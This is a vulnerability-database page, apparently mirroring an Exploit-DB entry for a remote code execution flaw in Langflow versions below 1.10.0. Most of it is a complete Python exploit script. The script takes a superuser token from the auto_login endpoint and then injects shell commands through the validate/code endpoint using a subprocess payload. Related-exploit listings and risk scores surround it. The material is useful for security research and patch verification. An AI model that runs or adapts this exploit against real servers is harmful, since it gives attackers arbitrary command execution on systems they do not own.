Lucene search
+L

Langflow 1.10.0 - RCE

🗓️ 02 Sep 2026 00:00:00Reported by Richard HoweType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 37 Views

RCE in Langflow below 1.10.0 via SUPERUSER token and arbitrary code in validate/code endpoint.

Related
Code
ReporterTitlePublishedViews
Family
githubexploit
GithubExploit
Exploit for Code Injection in Langflow
29 Aug 202623:37
–githubexploit
githubexploit
GithubExploit
Exploit for Code Injection in Langflow
12 Oct 202601:38
–githubexploit
githubexploit
GithubExploit
Exploit for CVE-2026-9198
24 Jul 202609:29
–githubexploit
githubexploit
GithubExploit
Exploit for Code Injection in Langflow
5 Aug 202617:44
–githubexploit
githubexploit
GithubExploit
Exploit for CVE-2026-9198
21 Jul 202611:14
–githubexploit
githubexploit
GithubExploit
Exploit for Code Injection in Langflow
22 Aug 202615:55
–githubexploit
githubexploit
GithubExploit
Exploit for Code Injection in Langflow
24 Jul 202620:50
–githubexploit
attackerkb
attackerkb
CVE-2026-9198
17 Jul 202617:36
–attackerkb
bdu_fstec
BDU FSTEC
IBM Langflow OSS AI agents Code Execution
22 Jul 202600:00
–bdu_fstec
circl
Circl
CVE-2026-9198
17 Jul 202618:18
–circl
Rows per page
# Exploit Title:  Langflow 1.10.0 - RCE
# Exploit Author: Richard Howe <rhowe425>
# Vendor Homepage: https://www.langflow.org/
# Software Link: https://www.langflow.org/desktop
# Version: < 1.10.0
# Tested on: Ubuntu 22.04
# CVE : CVE-2026-9198

import argparse
from requests import get, post


def stage1(base_url: str) -> str:
    endpoint = '/api/v1/auto_login'
    headers = {
        'Content-Type': 'application/json',
    }

    try:
        resp = get(base_url + endpoint)
    except Exception as e:
        raise RuntimeError(f"Error querying API.\n{str(e)}")

    if resp.status_code == 200:
        resp_json = resp.json()
        return resp_json['access_token']
    else:
        raise RuntimeError(f"API returned with status code: {resp.status_code}")


def stage2(base_url:str, token: str, cmd: str):
    endpoint = '/api/v1/validate/code'
    headers = {'Authorization': f'Bearer {token}'}
    data = {"code":"\ndef exploit(\n    _=( lambda r: (_ for _ in ()).throw(Exception(f\"{r.stdout}{r.stderr}\")) )(\n        __import__('subprocess').run('%s', shell=True, capture_output=True, text=True)\n    )\n):\n    pass\n" % cmd}

    try:
        resp = post(base_url + endpoint, headers=headers, json=data)
    except Exception as e:
        raise RuntimeError(f"Error querying API.\n{str(e)}")

    if resp.status_code == 200:
        resp_json = resp.json()
        print(resp_json)
    else:
        raise RuntimeError(f"API returned with status code: {resp.status_code}")


def main():
    parser = argparse.ArgumentParser(description="Exploit for Langflow RCE CVE-2026-9198")
    parser.add_argument('-u', '--url', required=True, help="Target url. e.g. http://127.0.0.1:7860")
    parser.add_argument('-c', '--command', required=True, help="Bash command to execute.")
    args = parser.parse_args()

    # Retrieve SUPERUSER token
    token = stage1(base_url=args.url)

    # Leverage SUPERUSER token to execute arbitrary code
    stage2(base_url=args.url, token=token, cmd=args.command)


main()

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

02 Sep 2026 00:00Current
8.2High risk
Vulners AI Score8.2
CVSS 3.19.8
EPSS0.28658
SSVC
37